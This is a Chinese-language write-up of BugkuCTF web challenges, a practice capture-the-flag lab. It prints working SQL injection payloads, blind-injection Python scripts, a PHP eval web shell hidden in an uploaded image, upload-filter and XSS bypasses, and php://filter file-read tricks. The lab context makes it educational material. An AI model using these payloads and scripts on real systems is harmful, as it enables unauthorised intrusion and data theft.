BUGKUctf-web-writeup
找到了個ctf平台。里面的web挺多的。終於將web題目寫的差不多了。

Web
簽到題

加群就可以了
Web2

直接F12就看到了

文件上傳測試

Burp抓包
文件名改成 1.jpg.php 即可

計算題

F12 改長度限制即可



Web3

阻止一直彈框,然后源代碼

Unicode解碼下就可以了

Sql注入

右鍵源代碼,看到gb2312 易想到寬字節注入

測試下

爆出數據庫:

結合題目,得flag

SQL注入1

Sql語句:$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
可以用%00繞過關鍵字過濾
爆出數據庫:

Flag :

你必須讓他停下

Burp抓包,返回的包圖片不一樣. Intruder 多次試試
隨便構造沒用的參數發送就行了
根據length 查看就行了

本地包含

源代碼

eval存在命令執行漏洞,構造出文件包含

Base64解碼即可
后來得知可以這么寫。

積累太少。
變量1

源代碼

(和“百度杯”CTF比賽(二月場)題目一致)
提示flag在變量里。正則匹配只能大小寫字符和數字。 eval("var_dump($$args);");打印出變量的值。 利用超全局數組GLOBALS 可以打印出所有變量。

Web4

右鍵源代碼 看見了一串js代碼 先URL解碼


就是拼接 67d709b2b54aa2aa648cf6e87a7114f1 提交

Web5

右鍵源代碼,將JSfuck代碼扔進F12控制台

flag在index里

點下鏈接http://120.24.86.145:8005/post/index.php?file=show.php
發現File參數 易想到文件包含漏洞
PAYLOAD:http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
Base64解碼

phpcmsV9

利用注冊頁面的漏洞試試能不能getshell。顯示操作失敗。

所以只能先利用sql注入,注入出后台賬號和密碼。網上有很多注入exp。


花了一毛解密 a123456
在后台可以直接看到我們在注冊頁面上傳的shell ,原來只是沒回顯。 菜刀連上去即可


海洋CMS

利用網上已經知道的漏洞。

根據提示,列出目錄開始找。


輸入密碼查看flag

根據提示 用burp爆破

前女友

點鏈接看到源代碼

利用PHPmd5()漏洞與strcmp()漏洞

成績單

容易看出考SQL注入

爆表:-1' union select 1,table_name,3,4 from information_schema.tables where TABLE_SCHEMA='skctf_flag' LIMIT 0,1
爆字段:-1' union select 1,column_name,3,4 from information_schema.columns where TABLE_SCHEMA='skctf_flag' and table_name='fl4g' LIMIT 0,1#
Flag:-1' union select 1,skctf_flag,3,4 from fl4g#

Web6


Flag base64解碼后還有base64的字符 在解碼 。 是串數字。根據提示就是要把那串數字POST過去 ,要短時間內。Python腳本:
#!usr/bin/env python
#!coding=utf-8
__author__ = 'zhengjim'
import requests
import base64
url ='http://120.24.86.145:8002/web6/'
r =requests.session()
headers = r.get(url).headers
key = base64.b64decode(base64.b64decode(headers['flag']).split(':')[1])
data={'margin':key}
print r.post(url=url,data=data).content

cookies欺騙??

點進來URL
http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
a2V5cy50eHQ=解碼是keys.txt 所以替換成base64后的index.php。Line是行數
遍歷獲得源代碼
得到源代碼后,看出,構造cookie margin=margin 然后讀keys.php即可

xss


過濾<、> 用\u003cscript\u003ealert(_key_)\u003c/script\u003e 可繞過

never give up

發現提示1p.html 訪問1p.html后發現了一串WORDS。解碼。有串base64解碼 。在url解碼




直接訪問即可(出題人應該是忘記屏蔽了-。-)

正解應該是

welcome to bugkuctf

看源代碼:

txt參數的File_get_contents()利用php://input來繞過file的include()文件包含

讀出hint.php解碼后:

在讀flag.php,結果提示不給flag 於是讀下index.php


發現正則匹配file 不能包含flag
看到這段代碼及hint.php類有個 __toString()構造函數,可以構造password的序列化。然后反序列讀出flag.php文件



login1

根據提示 就是注冊一個賬號如下
admin a
然后就可以重置admin密碼,后登入即可。

過狗一句話

看提示 猜測index.php就是shell,於是直接利用

flag

各種繞過喲

根據源代碼 GET 一個unname和POST一個passwd值不能相等,sha1要相等 ,提交數組。Sha1()均返回null 繞過

Web8

根據源代碼

extract可以將$_GET數組的值轉為變量,默認是如果有沖突,則覆蓋已有的變量。
File_get_contents()利用php://input繞過。

字符?正則?

一步步跟着匹配即可,[:punct:]是匹配任何標點符號

考細心

看主頁404,但和真正的404頁面不一樣,沒什么發現,於是試了下robots.txt 發現了resusl.php文件。

本來以為是偽造IP,然后注入得到password,提交。然后均失敗了。 試了下?x=admin 出現flag。。。

求getshell

上傳題。 各種方法嘗試。發現是后綴名黑名單檢測和類型檢測
php別名:php2, php3, php4, php5, phps, pht, phtm, phtml 均試下。
發現php5繞過
上面的Content-Type的值 大小寫繞過

flag.php

點了沒反應,提示:hint 多次嘗試,發現GET一個hint就有源代碼

審計代碼,要傳一個cookie名為ISecer的反序列的值。並且反序列后的值要全相等於"$KEY"
這里要注意是有雙引號。

而且$KEY的傳值的此之后的。所以反序列的值不是ISecer:www.isecer.com。
我們要得到的值是string(0) ""所以序列化該值即可。



Web15

給了源代碼
是INSERT INTO的注入,並且不能有,否則會吃掉后面的語句
Payload:11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and '1'='1
Python腳本
import requests
import string
url="http://120.24.86.145:8002/web15/"
allString=string.lowercase + string.uppercase + string.digits
flag=""
for i in range(1,33):
for str1 in allString:
data="11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and '1'='1".format(str(i),str1)
# print data
headers={"x-forwarded-for":data}
try:
res=requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout, e:
flag += str1
print flag
break
print 'flag:' + flag
文件包含2

看見file想到文件包含,php://filter/read=convert.base64-encode/resource=hello.php

失敗。
右鍵源代碼,發現有個upload.php上傳。所以上傳一個帶一句話木馬的圖片包含即可。
<?php 、 ?>這兩個被過濾了。換個姿勢上傳~
<?=eval($_POST['cmd']);
成功連接

sql注入2

根據題目sql注入 試了好久好久,於是請教他人。。。結果大牛說訪問下flag 就行了。巨坑!
wordpress


登入后台。根據這個構造賬號密碼 sun/sun19980321
看到隱藏文章

經人提醒才知道,是數據庫
找到http://wp.bugku.com/phpmyadmin/ 登入

Login3

過濾了空格or and where + * union ,%0a %0b等等
測試得出用 ^

Payload
import requests
url = 'http://47.93.190.246:49167/index.php'
r = requests.Session()
result = ''
for i in range(1,33):
for j in range(37,127):
payload = "admin1'^(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))
print payload
data = {"username":payload,"password":"asd"}
html = r.post(url,data=data)
if "password error!" in html.content:
result += chr(j)
print result
break
print result
跑出MD5解密 登入即可

login4

看到登入框就試試有沒有注入,源代碼泄露。 發現.index.php.swp 存在
恢復成源碼。
根據提示,知道了是利用cbc字符翻轉攻擊。
原理看文章:http://wooyun.jozxing.cc/static/drops/tips-7828.html
首先先post username = ‘qdmin’ password=’1’ 會得到一個iv和cipher

利用CBC字節翻轉攻擊將qdmin 的q 改成 a后加密得到cipher。

替換cookie[cipher]的值 訪問。

反序列化失敗。 原因是第一個塊數據(16字節)被破壞了。因為要username要等於admin所以不能利用文章里的說的填充字符。 又因為是第一個塊數據被破壞,第一個塊數據是和IV有關,所以只要將在CBC字符翻轉攻擊,得到新的IV就可以修復第一塊數據。

代入vi即可

